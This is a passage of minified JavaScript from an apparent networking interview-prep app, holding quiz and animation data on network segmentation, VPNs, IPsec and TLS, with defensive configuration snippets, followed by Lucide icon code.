Zone UNTRUST -> Zone DB_TIER : BLOCKED (Implicit Deny)`}],keyTakeaways:[`Divides flat networks into isolated trust zones (DMZ, App, DB, Users).`,`Restricts attacker blast radius and stops lateral malware propagation.`,`Enforces multi-tier security (Internet -> DMZ -> App -> DB).`,`Reduces compliance scope for PCI-DSS, HIPAA, and SOC 2.`],quiz:{question:`Why should a database server NEVER be placed directly in the DMZ alongside the public web server?`,options:[`Because database servers do not support TCP/IP networking.`,`Because if the web server is compromised via a web exploit, the attacker would have direct local access to the database server.`,`Because DMZ switches cannot handle database query bandwidth.`,`Because databases require public IP addresses.`],correctIndex:1,explanation:`Placing the database in a separate internal tier behind an internal firewall ensures that even if the public web server in the DMZ is compromised, the attacker cannot freely access the raw database without traversing an additional layer of firewall controls.`},steps:[{id:1,label:`1. Flat Network: Malware Infection on Workstation`,badge:`Flat Network Phase`,activeNodes:[`zone-workstation`],packetInfo:{srcIp:`192.168.1.15`,dstIp:`192.168.1.99`,dstPort:445,protocol:`TCP`,payloadSummary:`Lateral SMB EternalBlue Exploit`},whatIsHappening:`An employee workstation on a flat unsegmented network opens a phishing attachment and gets infected with ransomware.`,interviewTakeaway:`Flat networks have zero internal barriers; all devices share the same broadcast and trust domain.`},{id:2,label:`2. Flat Network: Direct Database Compromise (No Firewall)`,badge:`Lateral Spread`,activeNodes:[`zone-workstation`,`zone-db`],packetInfo:{srcIp:`192.168.1.15`,dstIp:`192.168.1.99`,dstPort:445,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`The ransomware scans the flat subnet and pivots laterally straight into the core financial database server without encountering any firewall!`,interviewTakeaway:`Without segmentation, single-endpoint compromise leads directly to full enterprise data breach.`},{id:3,label:`3. Segmented: Perimeter Ingress to DMZ Reverse Proxy`,badge:`DMZ Tier`,activeNodes:[`zone-internet`,`zone-dmz`],packetInfo:{srcIp:`198.51.100.22`,dstIp:`172.16.1.10`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Now examine a segmented 3-tier architecture. External web traffic terminates at the DMZ Reverse Proxy on HTTPS port 443 only.`,interviewTakeaway:`Public internet traffic terminates exclusively inside the DMZ buffer zone.`},{id:4,label:`4. Segmented: DMZ to Application Cluster (Port 8080)`,badge:`App Tier`,activeNodes:[`zone-dmz`,`zone-app`],packetInfo:{srcIp:`172.16.1.10`,dstIp:`10.0.2.20`,dstPort:8080,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`The DMZ reverse proxy sanitizes requests and forwards them across an internal firewall to the Application Tier on port 8080 only.`,interviewTakeaway:`Inter-tier firewall enforces strict port restrictions between DMZ and internal applications.`},{id:5,label:`5. Segmented: App Tier Queries Database Tier (Port 5432)`,badge:`DB Tier`,activeNodes:[`zone-app`,`zone-db`],packetInfo:{srcIp:`10.0.2.20`,dstIp:`10.0.3.50`,dstPort:5432,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`The backend application queries the isolated database on PostgreSQL port 5432. Direct access from the Internet or DMZ is completely prohibited.`,interviewTakeaway:`Database layer is physically and logically separated from untrusted tiers.`},{id:6,label:`6. Segmented: Lateral Movement Pivot BLOCKED ✕`,badge:`Blast Radius Contained`,activeNodes:[`zone-dmz`,`zone-db`],packetInfo:{srcIp:`172.16.1.10`,dstIp:`10.0.3.50`,dstPort:5432,protocol:`TCP`},decision:`DENY`,ruleMatched:`Rule: DENY DMZ -> DB_VLAN (Implicit Deny)`,whatIsHappening:`If an attacker compromises the DMZ web proxy and attempts direct database extraction, the Inter-VLAN Firewall DROPS the packet immediately!`,interviewTakeaway:`Segmentation contains breaches to their initial zone, protecting core enterprise databases.`}]},{id:18,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`What is a VPN, and what is the difference between site-to-site and remote-access VPNs?`,subtitle:`Compare router-to-router encrypted site links vs user client-to-gateway remote tunnels.`,visualType:`vpn-architectures`,elevatorPitch:`A VPN (Virtual Private Network) creates an encrypted, authenticated tunnel over an untrusted public network (like the Internet) to securely transmit private corporate data. A Site-to-Site VPN connects two fixed physical network locations (e.g., Head Office to Branch Office) via gateway routers without requiring software on client devices. A Remote-Access VPN connects individual remote employees (via client software like Cisco AnyConnect or GlobalProtect) to the corporate network.`,deepDive:[`**Site-to-Site VPN (Gateway-to-Gateway):** Routers/Firewalls at each site encrypt and encapsulate all inter-office traffic. End hosts on both sides communicate transparently without knowing encryption is occurring.`,`**Remote-Access VPN (Client-to-Gateway):** Remote workers run software agents that establish an SSL/TLS or IPsec tunnel to a corporate VPN Concentrator / Firewall. The worker receives an internal corporate IP address.`,`**Full Tunnel vs Split Tunnel:** Full Tunnel routes 100% of the employee's traffic (including Netflix and personal browsing) through corporate firewalls. Split Tunnel only routes corporate subnet traffic through the VPN, allowing direct Internet access for public browsing.`,`**Security Core:** Enforces Confidentiality (Encryption via AES), Integrity (HMAC SHA-256), and Authentication (Certificates / Pre-Shared Keys / MFA).`],realWorldScenario:`During pandemic work-from-home expansion, a company configured Split-Tunneling on Remote-Access VPNs to prevent video conferencing traffic (Zoom/Teams) from saturating corporate headquarters internet links.`,commonTrap:`Be prepared to explain Split Tunneling trade-offs: Split tunneling saves company bandwidth, but creates a security risk because an infected home laptop connected directly to the Internet could act as a bridge into the corporate network.`,cliSnippets:[{label:`Cisco Site-to-Site IPsec Crypto Map Profile`,code:`crypto ipsec transform-set ESP-AES-SHA esp-aes 256 esp-sha256-hmac
crypto map VPN-MAP 10 ipsec-isakmp
 set peer 203.0.113.50
 set transform-set ESP-AES-SHA
 match address VPN_TRAFFIC_ACL`}],keyTakeaways:[`VPN provides Confidentiality, Integrity, and Authentication across the Internet.`,`Site-to-Site connects two permanent locations via gateway firewalls.`,`Remote-Access connects individual remote employees via client software.`,`Split tunneling routes only internal traffic; Full tunnel routes all traffic.`],quiz:{question:`What is the primary security risk of enabling Split Tunneling on a Remote-Access VPN?`,options:[`It doubles encryption latency on corporate servers.`,`The remote laptop has concurrent access to the insecure public Internet and internal corporate network, potentially serving as an unmonitored bridge.`,`It requires dedicated fiber optic lines to each employee home.`,`Split tunneling does not support AES-256 encryption.`],correctIndex:1,explanation:`With Split Tunneling, the client machine is connected to both the corporate network and the open Internet simultaneously. If the client gets infected via drive-by download, attackers can pivot into the corporate network through the open VPN tunnel.`},steps:[{id:1,label:`1. Site-to-Site: Branch Host Sends Local Packet`,badge:`Site-to-Site Step 1`,activeNodes:[`vpn-branch-host`,`vpn-branch-gw`],packetInfo:{srcIp:`10.1.0.15`,dstIp:`10.2.0.80`,dstPort:445,protocol:`TCP`},whatIsHappening:`Workstation in Branch Office sends standard unencrypted SMB file request destined for HQ File Server 10.2.0.80.`,interviewTakeaway:`End users and applications need zero VPN software installed; the network handles encryption transparently.`},{id:2,label:`2. Site-to-Site: Branch Gateway Encrypts via IPsec ESP`,badge:`Site-to-Site Step 2`,activeNodes:[`vpn-branch-gw`,`vpn-hq-gw`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`198.51.100.50`,protocol:`ESP`,isEncrypted:!0,payloadSummary:`IPsec ESP Encrypted Payload`},whatIsHappening:`Branch gateway router matches traffic against crypto ACL, encapsulates original packet inside IPsec ESP, and tunnels across the public Internet.`,interviewTakeaway:`The public Internet only sees encrypted ESP packets traversing between the two public gateway IPs.`},{id:3,label:`3. Site-to-Site: HQ Gateway Decrypts & Delivers to Server`,badge:`Site-to-Site Step 3`,activeNodes:[`vpn-hq-gw`,`vpn-hq-server`],packetInfo:{srcIp:`10.1.0.15`,dstIp:`10.2.0.80`,dstPort:445,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`HQ gateway decrypts the ESP packet, verifies HMAC integrity, and forwards original plaintext SMB packet to HQ Data Center Server.`,interviewTakeaway:`Data reaches destination securely and transparently across site boundaries.`},{id:4,label:`4. Remote-Access: Employee Laptop Client Handshake`,badge:`Remote-Access Step 1`,activeNodes:[`vpn-client-app`,`vpn-concentrator`],packetInfo:{srcIp:`192.168.1.100`,dstIp:`203.0.113.1`,dstPort:443,protocol:`TLS`,isEncrypted:!0},whatIsHappening:`Remote employee at home opens VPN software (AnyConnect / GlobalProtect) and initiates an SSL/TLS or IPsec handshake with HQ VPN Concentrator.`,interviewTakeaway:`Remote-access uses software agents installed directly on the client machine.`},{id:5,label:`5. Remote-Access: MFA Authentication & Virtual IP Lease`,badge:`Remote-Access Step 2`,activeNodes:[`vpn-concentrator`],packetInfo:{srcIp:`192.168.1.100`,dstIp:`203.0.113.1`,dstPort:443,protocol:`TLS`},whatIsHappening:"VPN Concentrator validates user credentials and MFA token, assigning virtual internal IP `10.50.0.12` to the remote laptop.",interviewTakeaway:`Virtual IP assignment places the remote endpoint logically inside the corporate network perimeter.`},{id:6,label:`6. Remote-Access: Encrypted Tunnel Data Flow to LAN`,badge:`Remote-Access Step 3`,activeNodes:[`vpn-client-app`,`vpn-concentrator`,`vpn-hq-server`],packetInfo:{srcIp:`10.50.0.12`,dstIp:`10.2.0.80`,dstPort:443,protocol:`TLS`,isEncrypted:!0},decision:`ALLOW`,whatIsHappening:`Remote employee sends encrypted packets through the virtual tunnel interface; Concentrator decrypts and delivers to internal corporate intranet.`,interviewTakeaway:`Enables secure work-from-anywhere connectivity with enterprise access controls.`}]},{id:19,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`What is IPsec, and how does an IPsec VPN protect network traffic?`,subtitle:`Inspect AH vs ESP, Tunnel vs Transport modes, and IKE Phase 1 / Phase 2 negotiations.`,visualType:`ipsec-encapsulation`,elevatorPitch:`IPsec (Internet Protocol Security) is a suite of protocols operating at Layer 3 to provide secure communications over IP networks. It delivers Confidentiality (via ESP encryption), Integrity & Authentication (via HMAC SHA-256), and Anti-Replay protection (via sequence numbers). It operates in two modes: Tunnel Mode (encrypts entire original IP packet and adds a new IP header) and Transport Mode (encrypts only the IP payload while keeping original IP header).`,deepDive:[`**Key Protocols:** 1) **ESP (Encapsulating Security Payload - Protocol 50):** Provides encryption, authentication, and integrity. 2) **AH (Authentication Header - Protocol 51):** Provides authentication and integrity only (no encryption; rarely used). 3) **IKE (Internet Key Exchange - UDP 500/4500):** Negotiates security associations and cryptographic keys.`,`**IKE Phase 1 (ISAKMP SA):** Authenticates the two peers (PSK or Certificates) and builds a secure management channel (Main Mode or Aggressive Mode in IKEv1; single IKE_SA_INIT in IKEv2).`,`**IKE Phase 2 (IPsec SA):** Negotiates encryption algorithms (AES-GCM/CBC), hashing (SHA-256), and establishes the unidirectional IPsec security associations (SAs) for user data.`,`**Tunnel vs Transport Mode:** Tunnel mode is used for Gateway-to-Gateway VPNs (protecting entire private subnets). Transport mode is used for End-to-End host-to-host encryption.`],realWorldScenario:`When traversing NAT gateways (PAT), IPsec ESP packets (IP Protocol 50 without port numbers) fail. The solution is NAT-Traversal (NAT-T), which encapsulates IPsec ESP packets inside UDP port 4500 so standard NAT routers can translate them.`,commonTrap:`Always remember: AH does NOT provide confidentiality (encryption)! Only ESP provides encryption. Furthermore, AH breaks when traversing NAT because AH authenticates the outer IP header (which NAT modifies).`,cliSnippets:[{label:`Cisco IKEv2 / IPsec Verification Commands`,code:`show crypto ikev2 sa
show crypto ipsec sa
# Check for pkts encaps, pkts encrypt, pkts decrypt, and drop counters`}],keyTakeaways:[`ESP (Protocol 50) provides Encryption + Integrity; AH (Protocol 51) provides Integrity only.`,`Tunnel Mode: Encapsulates entire original IP packet (Standard for VPNs).`,`Transport Mode: Encapsulates payload only (Host-to-Host).`,`IKE Phase 1 builds control channel; IKE Phase 2 builds data encryption SAs.`],quiz:{question:`Why does IPsec Authentication Header (AH) fail when packets traverse a NAT router?`,options:[`AH does not support IPv4.`,`AH includes the outer IP header in its integrity hash calculation; when NAT rewrites the IP address, the integrity check fails.`,`AH requires UDP port 80.`,`AH is only compatible with satellite links.`],correctIndex:1,explanation:`AH calculates an integrity checksum covering the IP header itself. When a NAT router rewrites the source or destination IP, the receiving peer calculates a mismatching hash and drops the packet.`},steps:[{id:1,label:`1. Site A: Original Plaintext IP Packet Created (10.1.0.10)`,badge:`Step 1: Plaintext`,activeNodes:[`ipsec-orig`],packetInfo:{srcIp:`10.1.0.10`,dstIp:`10.2.0.50`,dstPort:443,protocol:`TCP`,payloadSummary:`Confidential ERP Financial Data`},whatIsHappening:`Internal host 10.1.0.10 at Site A initiates communication destined for private server 10.2.0.50 at Site B.`,interviewTakeaway:`The packet carries RFC 1918 private IP headers that cannot be routed over the public Internet.`},{id:2,label:`2. Site A IPsec Gateway: Crypto ACL & Security Association Match`,badge:`Step 2: SA Match`,activeNodes:[`ipsec-encap`],packetInfo:{srcIp:`10.1.0.10`,dstIp:`10.2.0.50`,dstPort:443,protocol:`TCP`},decision:`INSPECT`,ruleMatched:`Crypto Map: Match ACL_SITE_A_TO_B -> Transform-Set ESP-AES256-SHA256`,whatIsHappening:`Gateway router intercepts traffic, matches interesting traffic ACL, and retrieves negotiated IPsec SA parameters.`,interviewTakeaway:`Interesting traffic matching initiates the IPsec cryptographic encapsulation engine.`},{id:3,label:`3. AES-256-GCM Encryption: Plaintext Transformed to Ciphertext`,badge:`Step 3: Encrypted`,activeNodes:[`ipsec-encap`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`198.51.100.1`,protocol:`ESP`,isEncrypted:!0,payloadSummary:`🔒 [Encrypted Original Header + ERP Payload]`},decision:`TRANSLATE`,whatIsHappening:`Original IP header and payload are encrypted using AES-256 symmetric cipher. ESP header and Auth tag are appended.`,interviewTakeaway:`ESP (IP Protocol 50) delivers Confidentiality and HMAC Integrity simultaneously.`},{id:4,label:`4. IPsec Tunnel Mode: New Public IP Header Attached (203.0.113.1)`,badge:`Step 4: Tunnel Wrapped`,activeNodes:[`ipsec-encap`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`198.51.100.1`,protocol:`ESP`,isEncrypted:!0},whatIsHappening:`Gateway wraps the encrypted ESP payload inside a brand new public IP header (Src: 203.0.113.1, Dst: 198.51.100.1).`,interviewTakeaway:`Tunnel Mode hides the entire internal topology from internet snooping and traffic analysis.`},{id:5,label:`5. WAN Transit: Ciphertext Traverses Untrusted Internet Tunnel`,badge:`Step 5: WAN Transit`,activeNodes:[`ipsec-encap`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`198.51.100.1`,protocol:`ESP`,isEncrypted:!0},whatIsHappening:`The encrypted ESP packet travels across the public WAN. Eavesdroppers only see unintelligible encrypted ciphertext.`,interviewTakeaway:`Anti-replay sequence numbers protect the flow against packet replay attacks.`},{id:6,label:`6. Site B Gateway Ingress: ESP Packet Received`,badge:`Step 6: Ingress GW B`,activeNodes:[`ipsec-decap`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`198.51.100.1`,protocol:`ESP`,isEncrypted:!0},decision:`INSPECT`,whatIsHappening:`Remote Site B Gateway receives the ESP packet on its WAN interface and validates the SPI (Security Parameter Index).`,interviewTakeaway:`The SPI in the ESP header tells the receiving router which decryption key to load.`},{id:7,label:`7. Decryption & Integrity Verification: HMAC SHA-256 Validated`,badge:`Step 7: Decrypted ✓`,activeNodes:[`ipsec-decap`],packetInfo:{srcIp:`10.1.0.10`,dstIp:`10.2.0.50`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,ruleMatched:`HMAC SHA-256 Check: Passed ✓ | SPI Validated`,whatIsHappening:`Site B gateway verifies ICV checksum, strips outer IP and ESP headers, and decrypts the original packet.`,interviewTakeaway:`Integrity verification ensures the payload was not tampered with in transit.`},{id:8,label:`8. Original Plaintext Delivered to Site B Server (10.2.0.50)`,badge:`Step 8: Delivered ✓`,activeNodes:[`ipsec-decap`],packetInfo:{srcIp:`10.1.0.10`,dstIp:`10.2.0.50`,dstPort:443,protocol:`TCP`,payloadSummary:`Confidential ERP Financial Data`},decision:`ALLOW`,whatIsHappening:`Original plaintext packet is switched onto the Site B local subnet and delivered to server 10.2.0.50.`,interviewTakeaway:`End-to-end IPsec lifecycle: Plaintext -> SA Match -> Encrypt -> Tunnel Transit -> Decrypt -> Delivered.`}]},{id:20,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`What is TLS, and how does the TLS handshake establish a secure connection?`,subtitle:`Walk through the cryptographic steps of modern TLS 1.3 and TLS 1.2 handshakes.`,visualType:`tls-handshake`,elevatorPitch:`TLS (Transport Layer Security) is the cryptographic protocol that secures Internet communications (HTTPS, SMTPS, FTPS) over TCP. The TLS handshake authenticates the server (via X.509 digital certificates signed by a trusted Certificate Authority), establishes a shared secret using asymmetric cryptography (Elliptic Curve Diffie-Hellman Ephemeral / ECDHE), and transitions to fast symmetric encryption (AES-GCM or ChaCha20-Poly1305) for application data transfer.`,deepDive:["**TLS 1.2 vs TLS 1.3:** TLS 1.2 required 2 full round-trips (2-RTT) for the handshake. Modern TLS 1.3 completes the handshake in a single round-trip (1-RTT) by sending the client Diffie-Hellman key share in the very first `ClientHello` message.",`**Zero Round-Trip Resumption (0-RTT):** In TLS 1.3, returning clients can send encrypted application data in their initial message using previously negotiated session tickets.`,"**Cipher Suites:** Modern cipher suites look like `TLS_AES_256_GCM_SHA384` (specifying symmetric cipher AES-256-GCM and hash algorithm SHA-384).",`**Forward Secrecy (PFS):** Ensured by Ephemeral Diffie-Hellman (ECDHE). Even if the server’s long-term private key is stolen in the future, past recorded encrypted sessions cannot be decrypted.`],realWorldScenario:`A web application was flagged during a penetration test because it supported legacy SSLv3 and TLS 1.0 (vulnerable to POODLE and BEAST attacks). The engineering team disabled TLS 1.0/1.1 and enforced TLS 1.2 and TLS 1.3 with Perfect Forward Secrecy cipher suites.`,commonTrap:`Interviewers will test if you know why we switch from asymmetric to symmetric encryption. Asymmetric encryption (RSA/ECDH) is computationally expensive; it is used ONLY during the handshake to establish a shared session key. High-speed symmetric encryption (AES-GCM) encrypts the actual data stream.`,cliSnippets:[{label:`OpenSSL Handshake Verification Command`,code:`openssl s_client -connect example.com:443 -tls1_3`},{label:`Nginx TLS Hardening Config`,code:`ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers on;`}],keyTakeaways:[`Authenticates server identity via CA-signed X.509 digital certificates.`,`Uses asymmetric cryptography (ECDHE) to securely agree on a shared secret.`,`Switches to high-speed symmetric encryption (AES-GCM) for application data.`,`TLS 1.3 achieves 1-RTT handshake speed and enforces Perfect Forward Secrecy.`],quiz:{question:`Why does TLS use asymmetric encryption during the handshake and symmetric encryption for data transfer?`,options:[`Symmetric encryption cannot encrypt text; only asymmetric can.`,`Asymmetric encryption securely exchanges keys without prior secrets, but is computationally slow; symmetric encryption is fast and efficient for bulk data transfer.`,`TLS only uses asymmetric encryption for all traffic.`,`Symmetric encryption is only supported on Linux servers.`],correctIndex:1,explanation:`Asymmetric cryptography solves the key distribution problem over an insecure channel, but is hundreds of times slower than symmetric ciphers. TLS uses asymmetric algorithms (ECDHE) to establish a session key, then switches to fast hardware-accelerated symmetric encryption (AES-GCM).`},steps:[{id:1,label:`1. TCP Handshake Complete & TLS 1.3 Session Initiated`,badge:`Step 1: Ingress`,activeNodes:[`tls-client`,`tls-server`],packetInfo:{srcIp:`192.168.1.100`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`,flags:`ESTABLISHED`},whatIsHappening:`Underlying TCP 3-way handshake is established on port 443. Client prepares to initiate cryptographic security negotiation.`,interviewTakeaway:`TLS operates on top of Layer 4 TCP transport to encrypt upper-layer application streams.`},{id:2,label:`2. ClientHello + Ephemeral KeyShare (ECDHE Public Key)`,badge:`Step 2: ClientHello`,activeNodes:[`tls-client`,`tls-server`],packetInfo:{srcIp:`Client`,dstIp:`Server`,dstPort:443,protocol:`TLS`,payloadSummary:`TLS 1.3, Supported Ciphers, Client ECDHE KeyShare, Nonce`},whatIsHappening:`Client sends supported cipher suites, random nonce, and its ephemeral Diffie-Hellman public key share.`,interviewTakeaway:`TLS 1.3 embeds the client key share in Step 1, cutting handshake latency down to 1-RTT.`},{id:3,label:`3. ServerHello + Cipher Selected (TLS_AES_256_GCM_SHA384)`,badge:`Step 3: ServerHello`,activeNodes:[`tls-server`,`tls-client`],packetInfo:{srcIp:`Server`,dstIp:`Client`,dstPort:443,protocol:`TLS`,payloadSummary:`Cipher: TLS_AES_256_GCM_SHA384, Server ECDHE KeyShare`},whatIsHappening:`Server selects the optimal cipher suite and responds with its own ephemeral Diffie-Hellman public key share.`,interviewTakeaway:`Ephemeral keys guarantee Perfect Forward Secrecy (PFS) for all communications.`},{id:4,label:`4. Server Certificate Exchange: X.509 Digital Certificate Sent`,badge:`Step 4: Certificate`,activeNodes:[`tls-server`,`tls-client`],packetInfo:{srcIp:`Server`,dstIp:`Client`,dstPort:443,protocol:`TLS`,payloadSummary:`X.509 Digital Certificate + Encrypted Extensions`},whatIsHappening:`Server transmits its CA-signed digital certificate containing its public identity and digital signature.`,interviewTakeaway:`In TLS 1.3, the certificate exchange itself is already encrypted by handshake keys.`},{id:5,label:`5. Client CA Validation: Certificate Authority Chain Verified`,badge:`Step 5: CA Verified ✓`,activeNodes:[`tls-client`],decision:`INSPECT`,ruleMatched:`Trust Store: DigiCert Global Root CA Validated ✓ (Domain: example.com)`,whatIsHappening:`Client browser validates certificate signatures against trusted local Root CA store and checks expiry/revocation.`,interviewTakeaway:`CA validation stops Man-in-the-Middle (MITM) spoofing and impersonation attacks.`},{id:6,label:`6. Master Secret Derived: Shared Session Keys Computed`,badge:`Step 6: Key Derivation`,activeNodes:[`tls-client`,`tls-server`],decision:`TRANSLATE`,whatIsHappening:`Client and Server combine ECDHE public shares with their private secrets to compute the exact same Master Secret independently.`,interviewTakeaway:`Diffie-Hellman mathematics allow secret generation without transmitting the key over the wire.`},{id:7,label:`7. Handshake Finished: TLS 1.3 Secure Session Active`,badge:`Step 7: Handshake Complete`,activeNodes:[`tls-client`,`tls-server`],decision:`ALLOW`,ruleMatched:`Session Status: 🔒 TLS 1.3 AES-256-GCM Secure Channel Active`,whatIsHappening:`Both sides exchange Finished MAC digests. The handshake transitions 100% to symmetric encryption.`,interviewTakeaway:`Handshake wraps in exactly 1-RTT, enabling immediate application payload transmission.`},{id:8,label:`8. Encrypted Application Data Transfer (AES-256-GCM / HTTP/2)`,badge:`Step 8: AES-256-GCM ✓`,activeNodes:[`tls-client`,`tls-server`],packetInfo:{srcIp:`192.168.1.100`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TLS`,isEncrypted:!0,payloadSummary:`🔒 HTTP/2 GET /api/v1/data (AES-256-GCM)`},decision:`ALLOW`,whatIsHappening:`High-speed hardware-accelerated symmetric encryption secures all user browsing, API calls, and credentials.`,interviewTakeaway:`Symmetric AES-256-GCM delivers gigabit-speed bulk encryption with authenticated integrity tags.`}]},...y,...b],S=e=>e?.replace(/([a-z0-9])([A-Z])/g,`$1-$2`).toLowerCase();function ee(e,t,n=[]){if(t==null)throw Error(`[lucide]: iconNode is required when icon name is used`);return{name:S(e),size:24,node:t,...n.length>0?{aliases:n}:{}}}var te=e=>{let t=``,n=!1;for(let r of e){if(r===`-`||r===`_`||r<=` `){n=t.length>0;continue}t.length===0?t+=r.toLowerCase():t+=n?r.toUpperCase():r,n=!1}return t},C=e=>{let t=te(e);return t.charAt(0).toUpperCase()+t.slice(1)},ne=(...e)=>e.filter((e,t,n)=>!!e&&e.trim()!==``&&n.indexOf(e)===t).join(` `).trim(),w={xmlns:`http://www.w3.org/2000/svg`,width:24,height:24,viewBox:`0 0 24 24`,fill:`none`,stroke:`currentColor`,"stroke-width":2,"stroke-linecap":`round`,"stroke-linejoin":`round`};function re(e){return e!=null}function ie(e,t={}){let n=t.attributeNames??{},r=e=>n[e]??e,i=e.size??e.width??w.width,a=e.size??e.height??w.height,o=e.aliases?.filter(e=>typeof e==`string`&&e.trim()!==``).map(e=>`lucide-${e}`)??[],s=[...e.name?[`lucide-${e.name}`]:[],...o],c=t.className?.split(` `).filter(Boolean)??[],l=t.includeDefaultClasses===!1?ne(...c):ne(`lucide`,...s,...c),u=t.absoluteStrokeWidth?Number(t.strokeWidth??w[`stroke-width`])*Number(e.size??e.width??w.width)/Number(t.size??t.width??w.width):t.strokeWidth??w[`stroke-width`];return[`svg`,{...Object.entries(w).reduce((e,[t,n])=>(e[r(t)]=n,e),{}),...`color`in t&&t.color&&{[r(`stroke`)]:t.color},...`size`in t&&re(t.size)&&{[r(`width`)]:t.size,[r(`height`)]:t.size},...`width`in t&&re(t.width)&&{[r(`width`)]:t.width},...`height`in t&&re(t.height)&&{[r(`height`)]:t.height},[r(`stroke-width`)]:u,...l&&{[r(`class`)]:l},[r(`viewBox`)]:`0 0 ${i} ${a}`,...t.hasA11yProp===!1?{[r(`aria-hidden`)]:`true`}:{},...`attributes`in t&&t.attributes},e.node.map(e=>{let[n,i,a]=e,o=t.nonScalingStroke?{[r(`vector-effect`)]:`non-scaling-stroke`,...i}:i;return a?[n,o,a]:[n,o]})]}function ae(e,t={}){return ie(e,{...t,attributeNames:{...t.attributeNames,class:`className`,"stroke-width":`strokeWidth`,"stroke-linecap":`strokeLinecap`,"stroke-linejoin":`strokeLinejoin`,"vector-effect":`vectorEffect`}})}var oe=e=>{for(let t in e)if(t.startsWith(`aria-`)||t===`role`||t===`title`)return!0;return!1},se=(0,_.createContext)({}),ce=()=>(0,_.useContext)(se),le=(0,_.forwardRef)(({color:e,size:t,width:n,height:r,strokeWidth:i,absoluteStrokeWidth:a,nonScalingStroke:o,className:s=``,children:c,iconNode:l=[],icon:u={node:l,aliases:[],size:24},...d},f)=>{let{size:p=24,strokeWidth:m=2,absoluteStrokeWidth:h=!1,nonScalingStroke:g=!1,color:v=`currentColor`,className:y=``}=ce()??{},b=!!c||oe(d),[x,S,ee=[]]=ae(u,{color:e??v,width:n??t??p,height:r??t??p,strokeWidth:i??m,absoluteStrokeWidth:a??h,nonScalingStroke:o??g,className:ne(y,s),hasA11yProp:b,attributes:d});return(0,_.createElement)(x,{ref:f,...S},[...ee.map(([e,t])=>(0,_.createElement)(e,t)),...Array.isArray(c)?c:[c]])});function T(e,t=[],n=[]){let r=typeof e==`string`?ee(e,t,n):e,i=(0,_.forwardRef)(({className:e,...t},n)=>(0,_.createElement)(le,{ref:n,icon:r,className:e,...t}));return r.name&&(i.displayName=C(r.name)),i}var ue={name:`activity`,size:24,node:[[`path`,{d:`M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2`,key:`169zse`}]]};ue.node;var de=T(ue),fe={name:`arrow-down`,size:24,node:[[`path`,{d:`M12 5v14`,key:`s699le`}],[`path`,{d:`m19 12-7 7-7-7`,key:`1idqje`}]]};fe.node;var pe=T(fe),me={name:`arrow-left`,size:24,node:[[`path`,{d:`m12 19-7-7 7-7`,key:`1l729n`}],[`path`,{d:`M19 12H5`,key:`x3x0zl`}]]};me.node;var he=T(me),ge={name:`arrow-right`,size:24,node:[[`path`,{d:`M5 12h14`,key:`1ays0h`}],[`path`,{d:`m12 5 7 7-7 7`,key:`xquz4c`}]]};ge.node;var _e=T(ge),ve={name:`arrow-up-down`,size:24,node:[[`path`,{d:`m21 16-4 4-4-4`,key:`f6ql7i`}],[`path`,{d:`M17 20V4`,key:`1ejh1v`}],[`path`,{d:`m3 8 4-4 4 4`,key:`11wl7u`}],[`path`,{d:`M7 4v16`,key:`1glfcx`}]]};ve.node;var ye=T(ve),be={name:`bell`,size:24,node:[[`path`,{d:`M10.268 21a2 2 0 0 0 3.464 0`,key:`vwvbt9`}],[`path`,{d:`M3.262 15.326A1 1 0 0 0 4 17h16a1 1 0 0 0 .74-1.673C19.41 13.956 18 12.499 18 8A6 6 0 0 0 6 8c0 4.499-1.411 5.956-2.738 7.326`,key:`11g9vi`}]]};be.node;var xe=T(be),Se={name:`book-open`,size:24,node:[[`path`,{d:`M12 5v16`,key:`1f6ucr`}],[`path`,{d:`M20.001 19A2 2 0 0022 17V5a2 2 0 00-1.999-2L16 3.002A5 5 0 0012 5a5 5 0 00-4-2H4a2 2 0 00-2 2v12a2 2 0 001.999 2H8a5 5 0 014 2 5 5 0 014-2z`,key:`1fyvmf`}]]};Se.node;var Ce=T(Se),we={name:`check`,size:24,node:[[`path`,{d:`M20 6 9 17l-5-5`,key:`1gmf2c`}]]};we.node;var E=T(we),D={name:`circle-check`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`path`,{d:`m16 9-5.5 5.5L8 12`,key:`xofnsj`}]],aliases:[`check-circle-2`]};D.node;var Te=T(D),Ee={name:`circle-question-mark`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`path`,{d:`M9.09 9a3 3 0 0 1 5.83 1c0 2-3 3-3 3`,key:`1u773s`}],[`path`,{d:`M12 17h.01`,key:`p32p05`}]],aliases:[`help-circle`,`circle-help`]};Ee.node;var De=T(Ee),Oe={name:`circle-x`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`path`,{d:`m15 9-6 6`,key:`1uzhvr`}],[`path`,{d:`m9 9 6 6`,key:`z0biqf`}]],aliases:[`x-circle`]};Oe.node;var ke=T(Oe),O={name:`circle`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}]]};O.node;var Ae=T(O),je={name:`copy`,size:24,node:[[`rect`,{width:`14`,height:`14`,x:`8`,y:`8`,rx:`2`,ry:`2`,key:`17jyea`}],[`path`,{d:`M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 